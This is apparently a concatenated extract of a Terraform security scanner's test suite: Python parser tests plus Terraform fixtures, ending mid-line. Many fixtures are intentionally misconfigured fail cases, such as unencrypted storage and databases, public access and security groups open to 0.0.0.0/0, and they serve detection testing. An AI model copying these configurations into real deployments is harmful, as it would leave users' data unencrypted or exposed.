False, 'a'], True, False, 'b'], 'example_set': 'Tree(\'data\', [\'child1\', \'child2\'])'} self.assertDictEqual(expected, actual) def test_hcl_parsing_consistent_old_new(self): cur_dir = os.path.dirname(os.path.realpath(__file__)) tf_dir = f'{cur_dir}/../resources/tf_parsing_comparison/tf_regular' old_tf_dir = f'{cur_dir}/../resources/tf_parsing_comparison/tf_old' _, tf_definitions = TFParser().parse_hcl_module(tf_dir, 'AWS') _, old_tf_definitions = TFParser().parse_hcl_module(old_tf_dir, 'AWS') definition_value = list(tf_definitions.values())[0] old_definition_value = list(tf_definitions.values())[0] self.assertDictEqual(definition_value, old_definition_value) def test_hcl_parsing_old_booleans_correctness(self): cur_dir = os.path.dirname(os.path.realpath(__file__)) tf_dir = f'{cur_dir}/../resources/tf_parsing_comparison/tf_regular' _, tf_definitions = TFParser().parse_hcl_module(tf_dir, 'AWS') expected = [ { "aws_cloudtrail": { "tfer--cashdash_trail": { "__end_line__": 11, "__start_line__": 1, "enable_log_file_validation": [True], "enable_logging": [True], "include_global_service_events": [True], "is_multi_region_trail": [True], "is_organization_trail": [False], "kms_key_id": ["arn:aws:kms:us-east-1:098885917934:key/5e7c4a79-bd63-42ca-9ae0-8f8e41f9c2f1"], "name": ["cashdash_trail"], "s3_bucket_name": ["cashdash-trail"], "sns_topic_name": ["arn:aws:sns:us-east-1:098885917934:clodtrail-sns-topic"], } } }, { "google_compute_instance": { "tfer--sentry-002D-v1": { "__end_line__": 67, "__start_line__": 13, "attached_disk": [ { "device_name": ["sentry"], "mode": ["READ_WRITE"], "source": [ "https://www.googleapis.com/compute/v1/projects/be-base-wksp-v1/zones/us-west3-b/disks/sentry-data-v1" ], } ], "boot_disk": [ { "auto_delete": [True], "device_name": ["persistent-disk-0"], "initialize_params": [ { "image": [ "https://www.googleapis.com/compute/v1/projects/debian-cloud/global/images/debian-10-buster-v20200910" ], "size": ["10"], "type": ["pd-standard"], } ], "kms_key_self_link": [ "projects/acme-project/locations/global/keyRings/global-v1/cryptoKeys/global-disk-key" ], "mode": ["READ_WRITE"], "source": [ "https://www.googleapis.com/compute/v1/projects/acme-project/zones/us-west3-b/disks/sentry-v1" ], } ], "can_ip_forward": [False], "deletion_protection": [False], "enable_display": [False], "machine_type": ["n1-standard-2"], "metadata": [{"block-project-ssh-keys": True, "some-other-attribute": False}], "name": ["sentry-v1"], "network_interface": [ { "access_config": [{"nat_ip": ["34.106.48.192"], "network_tier": ["PREMIUM"]}], "network": [ "https://www.googleapis.com/compute/v1/projects/acme-project/global/networks/acme" ], "network_ip": ["10.40.0.53"], "subnetwork": [ "https://www.googleapis.com/compute/v1/projects/acme-project/regions/us-west3/subnetworks/sentry" ], "subnetwork_project": ["acme-project"], } ], "project": ["acme-project"], "scheduling": [ {"automatic_restart": [True], "on_host_maintenance": ["MIGRATE"], "preemptible": [False]} ], "service_account": [ { "email": ["sentry-vm@acme-project.iam.gserviceaccount.com"], "scopes": [ [ "https://www.googleapis.com/auth/devstorage.read_only", "https://www.googleapis.com/auth/logging.write", "https://www.googleapis.com/auth/monitoring.write", "https://www.googleapis.com/auth/userinfo.email", ] ], } ], "shielded_instance_config": [ { "enable_integrity_monitoring": [True], "enable_secure_boot": [False], "enable_vtpm": [True], } ], "tags": [["allow-sentry", "allow-ssh"]], "zone": ["us-west3-b"], } } }, ] definition_key = TFDefinitionKey(file_path=os.path.join(tf_dir, "main.tf"), tf_source_modules=None) tf_definitions_resources = tf_definitions[definition_key]['resource'] for index in range(len(tf_definitions_resources)): self.assertDictEqual( tf_definitions_resources[index], expected[index] ) def test_hcl_parsing_sorting(self): source_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/tf_parsing_comparison/modifications_diff')) config_parser = TFParser() _, tf_definitions = config_parser.parse_hcl_module(source_dir, 'AWS') expected = ['https://www.googleapis.com/auth/devstorage.read_only', 'https://www.googleapis.com/auth/logging.write', 'https://www.googleapis.com/auth/monitoring.write', 'https://www.googleapis.com/auth/service.management.readonly', 'https://www.googleapis.com/auth/servicecontrol', 'https://www.googleapis.com/auth/trace.append'] defintion_key = TFDefinitionKey(file_path=os.path.join(source_dir, "main.tf"), tf_source_modules=None) result_resource = tf_definitions[defintion_key]['resource'][0]['google_compute_instance']['tfer--test3']['service_account'][0]['scopes'][0] self.assertListEqual(result_resource, expected) def test_build_graph_with_linked_modules(self): source_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/nested_modules_double_call')) config_parser = TFParser() definitions = config_parser.parse_directory(source_dir) assert len(definitions.keys()) == 13 assert '/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/main.tf' not in definitions assert '/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/third/main.tf[/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/main.tf#0]' not in definitions assert '/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/four/main.tf[/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/third/main.tf#0[/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/main.tf#0]]' not in definitions assert '/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/third/main.tf' not in definitions assert '/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/four/main.tf[/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/third/main.tf#0]' not in definitions ================================================ FILE: tests/terraform/graph/graph_builder/test_utils.py ================================================ ================================================ FILE: tests/terraform/graph/resources/array_test/main.tf ================================================ resource "aws_xyz" "pass1" { arr = [ "allowed1" ] a_string = "abc" } resource "aws_xyz" "pass2" { arr = [ "allowed1", "allowed3" ] } resource "aws_xyz" "pass3" { arr = [ ] } //resource "aws_xyz" "fail1" { // arr = [ // "allowed1", // "notallowed" // ] //} resource "aws_xyz" "fail2" { arr = [ "notallowed", "alsonotallowed" ] } resource "aws_xyz" "fail3" { arr = [ "notallowed" ] } ================================================ FILE: tests/terraform/graph/resources/arrays/main.tf ================================================ resource "x" "pass1" { arr = [ "allowed1" ] } resource "x" "pass2" { arr = [ ] } resource "x" "pass3" { arr = [ "allowed3", "allowed1" ] } resource "x" "pass4" { arr = "allowed2" } resource "x" "fail1" { arr = [ "xxx" ] } resource "x" "fail2" { arr = [ "xxx", "yyy" ] } resource "x" "fail3" { arr = [ "xxx", "allowed1" ] } resource "x" "fail4" { arr = "xxx" } ================================================ FILE: tests/terraform/graph/resources/azure_secure_rule/main.tf ================================================ resource "azurerm_resource_group" "example" { name = "example-resources" location = "West Europe" } resource "azurerm_network_security_group" "example" { name = "acceptanceTestSecurityGroup1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name } resource "azurerm_network_security_group" "sg_fail" { # this will fail DoNotUseInlineRule name = "sg-fail" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name security_rule = [ { name = "rule_we_care_about" source_address_prefixes = ["allowed_ip"] }, { name = "rule_we_do not_care_about" source_address_prefixes = ["some_other_ip"] } ] } resource "azurerm_network_security_group" "sg_fail2" { # this will fail DoNotUseInlineRule name = "sg-fail" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" security_rule = [ { name = "rule_we_care_about" source_address_prefixes = ["disallowed_ip"] }, { name = "rule_we_do not_care_about2" source_address_prefixes = ["allowed_ip"] } ] } ================================================ FILE: tests/terraform/graph/resources/boolean_test/main.tf ================================================ resource "azurerm_storage_account" "fail1" { allow_blob_public_access = true } resource "azurerm_storage_account" "fail2" { allow_blob_public_access = "true" } resource "azurerm_storage_account" "fail3" { } resource "azurerm_storage_account" "pass1" { allow_blob_public_access = false } resource "azurerm_storage_account" "pass2" { allow_blob_public_access = "false" } ================================================ FILE: tests/terraform/graph/resources/complex/main.tf ================================================ resource "x" "x1" { list = ["a", "list", "of values"] dict = { another = "another" a_key = "a value" } complex = [ { key = "value" key2 = "value2" listkey = ["list1", "list2"] }, { key = "value22" key2 = "value22" listkey = ["listx", "listy"] } ] } resource "x" "x2" { list = ["a", "list", "of values"] dict = { another = "another" a_key = "a value" } complex = [ { key = "value" key2 = "value2" listkey = ["list1", "list2"] }, { key = "value22" key2 = "value22" } ] } ================================================ FILE: tests/terraform/graph/resources/cross_modules/main.tf ================================================ module "test" { source = "./module" bucket = aws_s3_bucket.example.id } resource "aws_s3_bucket" "example" { bucket = "example" } ================================================ FILE: tests/terraform/graph/resources/cross_modules/module/main.tf ================================================ locals { bucket = var.bucket } resource "aws_s3_bucket_public_access_block" "var_bucket" { bucket = local.bucket block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } ================================================ FILE: tests/terraform/graph/resources/cross_modules/module/variables.tf ================================================ variable "bucket" { type = string } ================================================ FILE: tests/terraform/graph/resources/cross_modules2/inner_module/main.tf ================================================ locals { bucket = var.bucket } resource "aws_s3_bucket_public_access_block" "var_bucket" { bucket = local.bucket block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } ================================================ FILE: tests/terraform/graph/resources/cross_modules2/inner_module/variables.tf ================================================ variable "bucket" { type = string } ================================================ FILE: tests/terraform/graph/resources/cross_modules2/main.tf ================================================ module "test" { source = "./module" bucket = aws_s3_bucket.example.id } resource "aws_s3_bucket" "example" { bucket = "example" } ================================================ FILE: tests/terraform/graph/resources/cross_modules2/module/main.tf ================================================ locals { bucket = var.bucket } module "inner_module" { source = "../inner_module" bucket = local.bucket } ================================================ FILE: tests/terraform/graph/resources/cross_modules2/module/variables.tf ================================================ variable "bucket" { type = string } ================================================ FILE: tests/terraform/graph/resources/cross_variables/main.tf ================================================ variable "bucket"{ default = aws_s3_bucket.example.id } locals { bucket = var.bucket } resource "aws_s3_bucket_public_access_block" "var_bucket" { bucket = local.bucket block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } resource "aws_s3_bucket" "example" { bucket = "example" } ================================================ FILE: tests/terraform/graph/resources/cross_variables2/main/main.tf ================================================ module "test" { source = "../module" block_public_acls = true } ================================================ FILE: tests/terraform/graph/resources/cross_variables2/module/main.tf ================================================ locals { bucket = var.bucket } resource "aws_s3_bucket_public_access_block" "var_bucket" { bucket = local.bucket block_public_acls = var.block_public_acls block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } resource "aws_s3_bucket" "example" { bucket = "example" } ================================================ FILE: tests/terraform/graph/resources/cross_variables2/module/variables.tf ================================================ variable "bucket"{ default = aws_s3_bucket.example.id } variable "block_public_acls" { type = bool } ================================================ FILE: tests/terraform/graph/resources/dynamic_lambda_function/lambda.tf ================================================ resource "aws_lambda_function" "lambda" { function_name = "test" role = "" dynamic "dead_letter_config" { for_each = var.dlc == null ? [] : [var.dlc] content { target_arn = dead_letter_config.value.target_arn } } dynamic "environment" { for_each = var.environment == null ? [] : [var.environment] content { variables = environment.value.variables } } } ================================================ FILE: tests/terraform/graph/resources/ec2_instance_network_interfaces/main.tf ================================================ resource "aws_vpc" "my_vpc" { cidr_block = "172.16.0.0/16" tags = { Name = "tf-example" Env = "prod" } } resource "aws_subnet" "my_subnet" { vpc_id = aws_vpc.my_vpc.id cidr_block = "172.16.10.0/24" availability_zone = "us-west-2a" tags = { Name = "tf-example" Env = "prod" } } resource "aws_network_interface" "network_interface_foo" { subnet_id = aws_subnet.my_subnet.id private_ips = ["172.16.10.100"] tags = { Name = "primary_network_interface" Env = "prod" } } resource "aws_network_interface" "network_interface_goo" { subnet_id = aws_subnet.my_subnet.id private_ips = ["172.16.10.100"] tags = { Name = "secondary_network_interface" Env = "dev" } } resource "aws_instance" "instance_foo" { ami = "ami-005e54dee72cc1d00" # us-west-2 instance_type = "t2.micro" network_interface { network_interface_id = aws_network_interface.network_interface_foo.id device_index = 0 } credit_specification { cpu_credits = "unlimited" } } resource "aws_instance" "instance_bar" { ami = "ami-005e54dee72cc1d00" # us-west-2 instance_type = "t2.micro" credit_specification { cpu_credits = "unlimited" } tags = { Env = "prod" } } resource "aws_vpc" "other_vpc" { cidr_block = "124.16.0.0/16" tags = { Name = "not_connected" } } ================================================ FILE: tests/terraform/graph/resources/ecs_with_merge/main.tf ================================================ resource "aws_ecs_task_definition" "service01" { family = "service" container_definitions = jsonencode([ merge( { name = "first" image = "service-first" }, { cpu = 10 memory = 512 essential = true portMappings = [ { containerPort = 80 hostPort = 80 } ] } ) ]) volume { name = "service-storage" host_path = "/ecs/service-storage" } } resource "aws_ecs_task_definition" "service02" { family = "service" container_definitions = jsonencode([ merge( { name = "first" image = "service" }, { cpu = 10 memory = 512 essential = true portMappings = [ { containerPort = 80 hostPort = 80 } ] } ) ]) volume { name = "service-storage" host_path = "/ecs/service-storage" } } ================================================ FILE: tests/terraform/graph/resources/encryption/main.tf ================================================ # Resource names in this file are **important** # Encrypted resources _must_ start their name with the word "encrypted" resource aws_ecr_repository "encrypted_repo" { name = "nimtest-repo" encryption_configuration { encryption_type = "AES256" } } resource aws_ecr_repository "unencrypted_repo" { name = "nimtest-repo-unencrypted" } resource "aws_neptune_cluster" "encrypted_neptune" { storage_encrypted = true skip_final_snapshot = true } resource "aws_neptune_cluster" "unencrypted_neptune" { storage_encrypted = false skip_final_snapshot = true } resource "aws_efs_file_system" "encrypted_file_system" { encrypted = true } resource "aws_efs_file_system" "unencrypted_file_system" { } resource "aws_ebs_volume" "encrypted_volume" { availability_zone = "us-east-1a" encrypted = true size = 8 } resource "aws_ebs_volume" "unencrypted_volume" { availability_zone = "us-east-1a" size = 8 } resource "aws_ebs_volume" "unencrypted_volume2" { availability_zone = "us-east-1a" encrypted = false size = 8 } resource "aws_elasticache_replication_group" "encrypted_replication_group" { replication_group_description = "nimtest replication group" replication_group_id = "nimtest" at_rest_encryption_enabled = true cluster_mode { num_node_groups = 0 replicas_per_node_group = 0 } } resource "aws_elasticache_replication_group" "unencrypted_replication_group" { replication_group_description = "nimtest replication group" replication_group_id = "nimtest" cluster_mode { num_node_groups = 0 replicas_per_node_group = 0 } } resource "aws_elasticsearch_domain" "encrypted_domain" { domain_name = "nimtest-encryption-test" encrypt_at_rest { enabled = true } node_to_node_encryption { enabled = true } } resource "aws_elasticsearch_domain" "unencrypted_domain" { domain_name = "nimtest-encryption-test" node_to_node_encryption { enabled = false } } resource "aws_msk_cluster" "encrypted_msk" { cluster_name = "" kafka_version = "" number_of_broker_nodes = 0 broker_node_group_info { client_subnets = [] ebs_volume_size = 0 instance_type = "" security_groups = [] } encryption_info { encryption_in_transit { in_cluster = true client_broker = "TLS" } encryption_at_rest_kms_key_arn = "KMS" } } resource "aws_kinesis_stream" "encrypted_stream" { name = "nimtest" shard_count = 1 encryption_type = "KMS" kms_key_id = "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } resource "aws_kinesis_stream" "unencrypted_stream" { name = "nimtest" shard_count = 1 } resource "aws_s3_bucket" "encrypted_bucket_by_default" { bucket = "encrypted" } resource "aws_s3_bucket" "encrypted_bucket" { bucket = "unencrypted" server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { sse_algorithm = "aws:kms" } } } } resource "aws_s3_bucket" "encrypted_bucket_2" { bucket = "unencrypted" server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { sse_algorithm = "AES256" } } } } resource "aws_s3_bucket_object" "encrypted_object_by_itself" { bucket = aws_s3_bucket.encrypted_bucket.bucket key = "some-key.html" server_side_encryption = "AES256" } resource "aws_s3_bucket_object" "unencrypted_object_by_bucket" { bucket = aws_s3_bucket.encrypted_bucket.bucket key = "some-key.html" } resource "aws_sns_topic" "encrypted_topic" { name = "encrypted" kms_master_key_id = "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } resource "aws_sns_topic" "unencrypted_topic" { name = "unencrypted" } resource "aws_sqs_queue" "encrypted_queue" { name = "encrypted" kms_master_key_id = "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } resource "aws_sqs_queue" "unencrypted_queue" { name = "unencrypted" } resource "aws_cloudwatch_log_group" "encrypted_by_default_cloudwatch_log_group" { name = "group" } resource "aws_cloudwatch_log_group" "encrypted" { name = "group" kms_key_id = "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } resource "aws_cloudtrail" "encrypted" { name = "encrypted" s3_bucket_name = aws_s3_bucket.encrypted_bucket.bucket kms_key_id = "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } resource "aws_cloudtrail" "unencrypted" { name = "encrypted" s3_bucket_name = aws_s3_bucket.encrypted_bucket.bucket } resource "aws_dynamodb_table" "encrypted" { name = "encrypted" hash_key = "" attribute { name = "" type = "" } server_side_encryption { enabled = true } } resource "aws_dynamodb_table" "encrypted_by_default_dynamodb_table" { name = "encrypted_by_default" hash_key = "" attribute { name = "" type = "" } } resource "aws_iam_role" "role" { assume_role_policy = "" } resource "aws_docdb_cluster" "encrypted_docdb" { storage_encrypted = true kms_key_id = "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } resource "aws_docdb_cluster" "unencrypted_docdb" { storage_encrypted = false } resource "aws_codebuild_project" "encrypted_project" { name = "encrypted" service_role = "" artifacts { type = "" } environment { compute_type = "" image = "" type = "" } source { type = "" } encryption_key = "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } resource "aws_codebuild_project" "unencrypted_project" { name = "unencrypted" service_role = "" artifacts { type = "" } environment { compute_type = "" image = "" type = "" } source { type = "" } } resource "aws_codebuild_report_group" "encrypted_report_group" { export_config { type = "S3" s3_destination { bucket = "some-bucket" encryption_disabled = false encryption_key = "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" packaging = "NONE" path = "/some/path" } } } resource "aws_codebuild_report_group" "unencrypted_report_group" { export_config { type = "S3" s3_destination { bucket = "some-bucket" encryption_disabled = true packaging = "NONE" path = "/some/path" } } } resource "aws_athena_database" "encrypted_athena_database" { bucket = "" name = "encrypted" encryption_configuration { encryption_option = "SSE_S3" } } resource "aws_athena_database" "unencrypted_athena_database" { bucket = "" name = "unencrypted" } resource "aws_athena_workgroup" "encrypted_workgroup" { name = "encrypted" configuration { result_configuration { encryption_configuration { encryption_option = "SSE_KMS" kms_key_arn = "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } } } } resource "aws_athena_workgroup" "unencrypted_workgroup" { name = "unencrypted" } resource "aws_eks_cluster" "encrypted_eks" { name = "" role_arn = "" vpc_config { subnet_ids = [] } encryption_config { resources = [] provider { key_arn = "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } } } resource "aws_db_instance" "encrypted_instance" { instance_class = "" storage_encrypted = true } resource "aws_db_instance" "unencrypted_instance" { instance_class = "" storage_encrypted = false } resource "aws_rds_cluster" "encrypted_rds_cluster" { storage_encrypted = true kms_key_id = "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } resource "aws_rds_cluster" "unencrypted_rds_cluster" { } resource "aws_rds_global_cluster" "encrypted_global_rds" { global_cluster_identifier = "some-id" storage_encrypted = true } resource "aws_rds_global_cluster" "unencrypted_global_rds" { global_cluster_identifier = "some-id" storage_encrypted = false } resource "aws_s3_bucket_inventory" "encrypted_s3_inventory" { bucket = "" included_object_versions = "" name = "" destination { bucket { bucket_arn = "" format = "" encryption { sse_s3 {} } } } schedule { frequency = "" } } resource "aws_dax_cluster" "encrypted_dax_cluster" { cluster_name = "dax" iam_role_arn = "" node_type = "" replication_factor = 0 server_side_encryption { enabled = true } } resource "aws_dax_cluster" "unencrypted_dax_cluster" { cluster_name = "dax" iam_role_arn = "" node_type = "" replication_factor = 0 server_side_encryption { enabled = false } } resource "aws_redshift_cluster" "encrypted_redshift_cluster" { cluster_identifier = "redshift" node_type = "" encrypted = true } resource "aws_redshift_cluster" "unencrypted_redshift_cluster" { cluster_identifier = "redshift" node_type = "" } ================================================ FILE: tests/terraform/graph/resources/encryption_test/main.tf ================================================ resource "aws_rds_cluster" "rds_cluster_encrypted" { cluster_identifier = "some-encrypted-id" kms_key_id = "some-kms-key-id" } resource "aws_rds_cluster" "rds_cluster_unencrypted" { cluster_identifier = "some-unencrypted-id" } resource "aws_s3_bucket" "encrypted_bucket" { server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { sse_algorithm = "AES256" } } } } resource "aws_s3_bucket" "unencrypted_bucket" { versioning { enabled = True } } resource "aws_neptune_cluster" "encrypted_neptune" { cluster_identifier = "encrypted-neptune" storage_encrypted = true } resource "aws_neptune_cluster" "unencrypted_neptune" { cluster_identifier = "unencrypted-neptune" } ================================================ FILE: tests/terraform/graph/resources/for_each/main.tf ================================================ variable "bar" { default = "foo" } resource "null_resource" "this" { for_each = { foobar = var.bar } dynamic "trigger" { for_each = {} content {} } } ================================================ FILE: tests/terraform/graph/resources/general_example/main.tf ================================================ provider "aws" { profile = var.aws_profile region = "us-east-1" alias = "east1" } locals { bucket_name = var.bucket_name } resource "aws_s3_bucket" "template_bucket" { provider = aws.east1 region = var.region bucket = local.bucket_name acl = "acl" force_destroy = true } ================================================ FILE: tests/terraform/graph/resources/general_example/variables.tf ================================================ variable "bucket_name" { default = { val = "MyBucket" } } variable "region" { default = "us-west-2" } variable "aws_profile" { default = "default" } ================================================ FILE: tests/terraform/graph/resources/graph_files_test/more_vars.tf ================================================ variable "encryption" { default = "AES256" } ================================================ FILE: tests/terraform/graph/resources/graph_files_test/pass_s3.tf ================================================ resource "aws_s3_bucket" "bucket_with_versioning" { versioning { enabled = var.versioning } server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { sse_algorithm = var.encryption } } } } ================================================ FILE: tests/terraform/graph/resources/graph_files_test/variables.tf ================================================ variable "versioning" { default = true } ================================================ FILE: tests/terraform/graph/resources/k8_service/main.tf ================================================ locals { name = "bazel-remote-cache" namespace = var.namespace cache_directory = "/var/cache/bazel-remote-cache" labels = { "app.kubernetes.io/name" = local.name "app.kubernetes.io/instance" = "web-server" "app.kubernetes.io/version" = "1.0.0" "app.kubernetes.io/part-of" = "foundation-infrastructure" "app.kubernetes.io/managed-by" = "terraform" } } resource "kubernetes_deployment" "bazel_remote_cache" { metadata { name = local.name namespace = local.namespace labels = local.labels annotations = { "reloader.stakater.com/auto" = "true" } } spec { replicas = var.replicas revision_history_limit = 2 strategy { type = "RollingUpdate" rolling_update { max_unavailable = 1 max_surge = 1 } } selector { match_labels = local.labels } template { metadata { name = local.name namespace = local.namespace labels = local.labels annotations = { "iam.amazonaws.com/role" = var.iam_role } } spec { termination_grace_period_seconds = 10 container { name = local.name image = "776709147254.dkr.ecr.us-west-2.amazonaws.com/bazel-remote-cache@sha256:5c7691bf88ee95f6b50953ac58a75db89340fd6d2636c8ca88e785e1e02790fc" image_pull_policy = "Always" args = ["--config_file=/etc/config.yaml"] port { container_port = 8080 } port { container_port = 9092 } volume_mount { mount_path = "/etc/config.yaml" name = "bazel-remote-cache-config" sub_path = "config.yaml" read_only = true } volume_mount { name = "bazel-remote-cache-data" mount_path = local.cache_directory sub_path = "bazel-remote-cache-data" read_only = false } resources { requests { memory = "4Gi" cpu = "2" } limits { memory = "4Gi" cpu = "2" } } liveness_probe { http_get { path = "/status" port = 8080 } period_seconds = 10 success_threshold = 1 failure_threshold = 2 initial_delay_seconds = 120 } readiness_probe { http_get { path = "/status" port = 8080 } period_seconds = 10 success_threshold = 1 failure_threshold = 2 } } volume { name = "bazel-remote-cache-data" empty_dir {} } volume { name = "bazel-remote-cache-config" config_map { name = local.name } } affinity { pod_anti_affinity { preferred_during_scheduling_ignored_during_execution { weight = 50 pod_affinity_term { topology_key = "domain.beta.kubernetes.io/zone" label_selector { match_labels = local.labels } } } # Require pods to not schedule on the same node as to not use # the same local storate space required_during_scheduling_ignored_during_execution { topology_key = "kubernetes.io/hostname" label_selector { match_labels = local.labels } } } } } } } } ================================================ FILE: tests/terraform/graph/resources/k8_service/variables.tf ================================================ variable "fqdn" { type = string description = "FQDN of this instance of bazel-remote" } variable "elb_bucket" { type = string description = "S3 bucket to keep ELB access logs" } variable "s3_bucket" { type = string description = "The S3 bucket to be used as cache" } variable "iam_role" { type = string description = "The IAM role to assume to access the S3 bucket" } variable "cache_size" { type = number default = 30 description = "The amount of disk space to provision for caching" } variable "replicas" { type = number default = 8 description = "The amount of bazel cache replicas to provision" } variable "namespace_dependency_link" { type = string } variable "namespace" { type = string } ================================================ FILE: tests/terraform/graph/resources/lb/main.tf ================================================ resource "aws_lb" "lb_bad_1" { name = "test-lb-tf-https-listener" internal = false load_balancer_type = "application" enable_deletion_protection = true tags = { Environment = "production" } } resource "aws_lb_listener" "listener_http_1" { load_balancer_arn = aws_lb.lb_bad_1.arn port = "80" protocol = "HTTP" ssl_policy = "ELBSecurityPolicy-2016-08" certificate_arn = "arn:aws:iam::187416307283:server-certificate/test_cert_rab3wuqwgja25ct3n4jdj2tzu4" default_action { type = "redirect" } } resource "aws_lb_listener" "listener_https_1" { load_balancer_arn = aws_lb.lb_bad_1.arn port = "443" protocol = "HTTPS" ssl_policy = "ELBSecurityPolicy-2016-08" certificate_arn = "arn:aws:iam::187416307283:server-certificate/test_cert_rab3wuqwgja25ct3n4jdj2tzu4" default_action { type = "redirect" redirect { port = "443" protocol = "HTTPS" status_code = "HTTP_301" } } } ================================================ FILE: tests/terraform/graph/resources/lengths/main.tf ================================================ resource "aws_security_group" "sg1" { description = "sg1" egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0", "25.0.9.19/92"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "8182" } } resource "aws_security_group" "sg2" { description = "security_group_2" egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "1234" } } resource "aws_security_group" "sg3" { description = "security_group_3" egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "1234" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "1234" } } resource "aws_security_group" "sg4" { description = "security_group_4" egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "1234" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "1234" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "1234" } } ================================================ FILE: tests/terraform/graph/resources/malformed_provider/main.tf ================================================ provider { features {} } ================================================ FILE: tests/terraform/graph/resources/module_rendering/example/modules/mock/main.tf ================================================ resource "aws_s3_bucket" "some-bucket" { bucket = "my-bucket" } output "o1" { value = aws_s3_bucket.some-bucket.arn } ================================================ FILE: tests/terraform/graph/resources/module_rendering/example/modules/second-mock/main.tf ================================================ variable "input" { type = string } ================================================ FILE: tests/terraform/graph/resources/module_rendering/example/stacks/s1/main.tf ================================================ module "mock" { source = "../../modules/mock" } module "second-mock" { source = "../../modules/second-mock" input = module.mock.o1 } ================================================ FILE: tests/terraform/graph/resources/module_rendering/example/stacks/s2/main.tf ================================================ module "mock" { source = "../../modules/mock" } module "second-mock" { source = "../../modules/second-mock" input = module.mock.o1 } ================================================ FILE: tests/terraform/graph/resources/modules/git_module/main.tf ================================================ module "security_group" { source = "git::https://github.com/terraform-aws-modules/terraform-aws-security-group.git" version = "~> 3.0" name = "example" description = "Security group for example usage with EC2 instance" vpc_id = data.aws_vpc.default.id ingress_cidr_blocks = ["0.0.0.0/0"] ingress_rules = ["http-80-tcp", "all-icmp"] egress_rules = ["all-all"] } ================================================ FILE: tests/terraform/graph/resources/modules/linked_modules/external_modules/terraform-aws-modules/lambda/main.tf ================================================ resource "aws_lambda_function" "this" { count = 0 function_name = "lambda_function_name" role = "" handler = "" runtime = "" } ================================================ FILE: tests/terraform/graph/resources/modules/linked_modules/external_modules/terraform-aws-modules/lambda/outputs.tf ================================================ output "this_lambda_function_arn" { description = "The ARN of the Lambda Function" value = element(concat(aws_lambda_function.this.*.arn, [""]), 0) } output "this_lambda_function_name" { description = "The name of the Lambda Function" value = element(concat(aws_lambda_function.this.*.function_name, [""]), 0) } ================================================ FILE: tests/terraform/graph/resources/modules/linked_modules/external_modules/terraform-aws-modules/s3-bucket/examples/notification/main.tf ================================================ locals { bucket_name = "s3-bucket-${random_pet.this.id}" } resource "random_pet" "this" { length = 2 } module "s3_bucket" { source = "../../" bucket = local.bucket_name force_destroy = true } ############################################# # Using packaged function from Lambda module ############################################# locals { package_url = "https://raw.githubusercontent.com/terraform-aws-modules/terraform-aws-lambda/master/examples/fixtures/python3.9-zip/existing_package.zip" downloaded = "downloaded_package_${md5(local.package_url)}.zip" } resource "null_resource" "download_package" { triggers = { downloaded = local.downloaded } provisioner "local-exec" { command = "curl -L -o ${local.downloaded} ${local.package_url}" } } data "null_data_source" "downloaded_package" { inputs = { id = null_resource.download_package.id filename = local.downloaded } } module "lambda_function1" { source = "terraform-aws-modules/lambda/aws" version = "~> 1.0" function_name = "${random_pet.this.id}-lambda1" handler = "index.lambda_handler" runtime = "python3.9" create_package = false local_existing_package = 